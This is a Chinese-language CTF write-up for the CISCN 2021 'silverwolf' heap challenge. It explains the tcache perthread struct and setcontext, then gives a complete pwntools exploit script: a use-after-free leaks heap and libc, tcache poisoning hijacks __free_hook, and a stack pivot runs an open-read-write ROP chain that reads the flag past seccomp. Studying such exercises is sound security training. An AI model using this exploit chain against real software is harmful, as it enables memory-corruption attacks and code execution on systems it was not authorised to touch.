Problem: [CISCN 2021 初赛]silverwolf
真的是非常好的tcache入门题,狠狠点赞了
标签:tcache~perthread~struct+setcontext+orw+fakestack
基本介绍
tcache ~perthread~ struct是一个特殊的chunk
它始终处于
Heap基地址,大小为0x251(含标志位),含0x10的chunk头部和实际大小0x240
其中有一个计数数组和对应的入口指针数组,每个入口指针实际上就是tcache
你可以把这个结构体理解为一个简单的哈希表,一一对应
setcontext则是一个可以根据rdi的值来控制大部分寄存器值的一个函数
我们通常选择从它的第53行开始执行

因为在此之前会有一个fldenv ~byte~ pte ~[rcx],它会直接导致程序崩溃
选择setcontext原因:
使用非常简单,只需要控制rdi的值就可以完成对rsp的控制
所以我们可以直接把freehook或者其他的任何hook改成setcontext+53
并调用free(你想要的rdi值)即可
.text:00000000000521B5 mov rsp, [rdi+0A0h]
.text:00000000000521BC mov rbx, [rdi+80h]
.text:00000000000521C3 mov rbp, [rdi+78h]
.text:00000000000521C7 mov r12, [rdi+48h]
.text:00000000000521CB mov r13, [rdi+50h]
.text:00000000000521CF mov r14, [rdi+58h]
.text:00000000000521D3 mov r15, [rdi+60h]
.text:00000000000521D7 mov rcx, [rdi+0A8h]
EXP
from pwn import *
from ae64 import AE64
import ctypes
#====================环境配置=====================
elf = context.binary = ELF('./silverwolf_patched')
libc = ELF('./libc-2.27.so')
rop = ROP(elf)
context.log_level = 'debug'
context.terminal=["tmux","splitw","-h"]
context.cache_dir = None
#================================================
#====================IP端口配置===================
HOST = "node4.anna.nssctf.cn"
PORT = 28415
#================================================
#====================变量区=======================
#================================================
#====================函数区=======================
#因为puts会自动跟一个换行符,所以写个函数方便接收
def puts_recv(message):
io.recvuntil(message)
io.recvline()
#printf接受函数
def printf_recv(message):
io.recvuntil(message)
#64位地址接收打印函数
def get_addr():
res = u64(io.recvuntil(b'\x0a' , drop = True)[-6:].ljust(8, b'\x00'))
return res
#64位地址打印函数
def print_addr(addr):
log.success(f'接受到地址:{hex(addr)}')
#将fmt泄露的四字ascii值0x1231312之类的转换成对应的字符
#使用的时候直接把去掉点的字符串传进来就行
def leak_to_ascii(text: bytes) -> None:
parts = text.split(b".")
decoded = b""
for p in parts:
p = p.strip()
if p in (b"", b"(nil)", b"nil"):
continue
if p.startswith((b"0x", b"0X")):
p = p[2:]
decoded += p64(int(p, 16)) # p64 默认 little-endian
print(decoded.decode("latin-1", errors="replace"))
#一个异或解密板子,善用bytearray和bytes
def en(string):
"""
Mirror of the target binary's `encrypt` routine.
- b'a'..b'z' -> xor 0x0E
- b'A'..b'Z' -> xor 0x0D
- b'0'..b'9' -> xor 0x0C
- others -> unchanged
"""
if isinstance(string, str):
string = string.encode("latin-1")
out = bytearray(string)
for i, b in enumerate(out):
if b <= 0x60 or b > 0x7A: # '`' or > 'z'
if b <= 0x40 or b > 0x5A: # '@' or > 'Z'
if 0x2F < b <= 0x39: # '/' < b <= '9' => '0'..'9'
out[i] = b ^ 0x0C
else:
out[i] = b ^ 0x0D
else:
out[i] = b ^ 0x0E
return bytes(out)
def create(size):
printf_recv(b'Your choice: ')
io.sendline('1')
printf_recv(b'Index: ')
io.sendline('0')
printf_recv(b'Size: ')
io.sendline(str(size))
def edit(content):
printf_recv(b'Your choice: ')
io.sendline('2')
printf_recv(b'Index: ')
io.sendline('0')
printf_recv(b'Content: ')
io.sendline(content)
def show():
printf_recv(b'Your choice: ')
io.sendline('3')
printf_recv(b'Index: ')
io.sendline('0')
def delete():
printf_recv(b'Your choice: ')
io.sendline('4')
printf_recv(b'Index: ')
io.sendline('0')
#================================================
#====================io流=======================
#io = process()
io = connect(HOST , PORT)
#gdb.attach(io)
#==========================================
#先创建一个大小为0x78的chunk,这是本题设置的最大可分配chunk
#这里选择大小有两点要求:
#第一,这里最好分配的大一点,因为后面edit的时候我们要输进去一个不小的值
#而这个程序在edit的时候也会同步检测全局变量size,只能读取这个size大小的数据
#如果只分配0x28到时候就edit不进去,会出现难调试的bug
#第二,由于程序起始的时候就已经往tcache扔了一堆废chunk
#所以选择一条干净的,没有垃圾chunk的链的大小,比如0x78就很好
create(0x78)
#free掉进入tcache
delete()
#泄露一个heap地址
show()
io.recvuntil(b'Content:')
#动态调试出偏移值,这里记得用cpwn init之类的工具用作者给的libc把程序patch一下,不然调出来的偏移值是一定不对的
heap_addr = (get_addr() & 0xfffffffffffff000) - 0x1000
#打印堆基地址
print_addr(heap_addr)
#泄露完堆地址后这个chunk还有用
#因为程序有个很经典的UAF,所以直接利用遗留指针修改它的fd为堆基地址+0x10
#不要直接改成堆基地址,得跳过tcache perthread struct的chunk头!
edit(p64(heap_addr + 0x10))
#现在0x78的tcache链上有两个chunk了,把地址为heap_addr + 0x10的虚空chunk整出来
create(0x78)
create(0x78)
#现在edit从heap_addr + 0x10开始写,这个地方正是count数组的开始,一个字节代表一个链表此时chunk的个数
#这里全部清0,只保留大小为0x250的链计数为7,方便之后free时发配到unsortedbin泄露libc地址
edit(p64(0) * 4 + p64(0x7000000))
#把大小为0x250,地址为heap_addr + 0x10的虚空chunk发配到unsortedbin
delete()
#泄露main_arena地址
show()
#得到libc基地址
libc.address = get_addr() - 0x70 - libc.sym['__malloc_hook']
print_addr(libc.address)
#这里记得把count数组清0一下,不然tcache计数什么都有,后面容易崩
edit(p64(0) * 4 + p64(0x0000000000000000))
#日常获取函数地址和一些常用gadget
#这里write函数被seccomp禁用了,我们用syscall绕过
pop_rdi_ret = libc.address + 0x215BF
pop_rax_ret = libc.address + 0x43AE8
pop_rsi_ret = libc.address + 0x23EEA
pop_rdx_ret = libc.address + 0x1B96
ret = libc.address + 0x8AA
flag = heap_addr + 0x1000
syscall = libc.address + 0xE5965
read_addr = libc.symbols['read']
write_addr = libc.symbols['write']
free_hook = libc.symbols['__free_hook']
print_addr(free_hook)
setcontext = libc.symbols['setcontext'] + 53
print_addr(setcontext)
#随便选的偏移值,别冲突即可且能放下orw链即可
#这里由于orw链有点大,chunk分配的大小不太够,我们分两次写入
orw1 = heap_addr + 0x3000
orw2 = heap_addr + 0x3060
#这个stack_pivot_1是要被当做rdi传进free里的,所以加多少无所谓,这里只是选了个大点的偏移值
#stack_pivot_2必须是stack_pivot_1 + 0x0A0,它是rsp的值,要直接指向orw链的第一条指令
stack_pivot_1 = heap_addr + 0x2000
stack_pivot_2 = heap_addr + 0x20A0
#修改entries这部分Decline佬讲的很好,我就直接拿过来了
#链接:https://www.nssctf.cn/note/set/4511
"""
0x5586484ab000: 0x0000000000000000 0x0000000000000251
--- 0x40 Padding ---
0x5586484ab010: 0x0000000000000000 0x0000000000000000
0x5586484ab020: 0x0000000000000000 0x0000000000000000
0x5586484ab030: 0x0000000000000000 0x0000000000000000
0x5586484ab040: 0x0000000000000000 0x0000000000000000
--- 0x40 Padding ---
0x5586484ab050: 0x00007f0e49b198e8 0x0000000000000000 ---> 0x00007f0e49b198e8 __free_hook, 我们需要劫持为setcontent,这个堆块的大小是 0x20。
0x5586484ab060: 0x00005586484ac000 0x00005586484ad000 ---> flag_addr 和 stack_pivot_1. 这些堆块的大小是 0x40 和 0x50。
0x5586484ab070: 0x00005586484ad0a0 0x00005586484ae000 ---> stack_pivot_2 和 orw1. 这些堆块的大小是 0x60 和 0x70。
0x5586484ab080: 0x00005586484ae060 0x0000000000000000 ---> orw2. 这个堆块的大小是 0x80。
0x5586484ab090: 0x0000000000000000 0x0000000000000000
0x5586484ab0a0: 0x0000000000000000 0x00005586484abad0 --------> 我们不能直接修改链表,因此我们需要手动修改指针。这里还有另一点因素是因为setcontext函数。
0x5586484ab0b0: 0x0000000000000000 0x00005586484ac6a0 --------- 为了实现我们的目标,我们需要申请相同大小的堆块。
0x5586484ab0c0: 0x0000000000000000 0x0000000000000000 --------- __free_hook : 0x18
0x5586484ab0d0: 0x0000000000000000 0x0000000000000000 --------- flag_addr, stack_pivot_1 : 0x38 & 0x48
0x5586484ab0e0: 0x0000000000000000 0x0000000000000000 --------- stack_pivot_2, orw1 : 0x58, 0x68
0x5586484ab0f0: 0x0000000000000000 0x0000000000000000 --------- orw2 : 0x78
0x5586484ab100: 0x0000000000000000 0x0000000000000000
0x5586484ab110: 0x0000000000000000 0x0000000000000000
0x5586484ab120: 0x0000000000000000 0x0000000000000000
0x5586484ab130: 0x0000000000000000 0x0000000000000000
"""
payload = flat([
b'\x00' * 0x40, #依旧把counts数组清0
free_hook,
0,
flag,
stack_pivot_1,
stack_pivot_2,
orw1,
orw2,
])
edit(payload)
#普通的orw链
orw = flat([
#这一部分是open("./flag")
pop_rdi_ret,
flag,
pop_rsi_ret,
0,
pop_rax_ret,
2,
syscall,
#这一部分是read("./flag" , orw1 , 0x30)
pop_rdi_ret,
3,
pop_rsi_ret,
orw1,
pop_rdx_ret,
0x30,
read_addr,
#这一部分是write(1 , orw1 , 0x30)
pop_rdi_ret,
1,
write_addr,
])
#按照我们设计好的位置依次写入对应的值
#freehook处写入setcontext+53
create(0x18)
edit(p64(setcontext))
create(0x38)
edit('./flag')
#记得分两次!
create(0x68)
edit(orw[:0x60])
create(0x78)
edit(orw[0x60:])
#记得在后面加个ret启动orw链
create(0x58)
edit(p64(orw1) + p64(ret))
create(0x48)
#free(stack_pivot_1)触发setcontext
delete()
io.interactive()
总结
出的太好了,做爽了

加载中...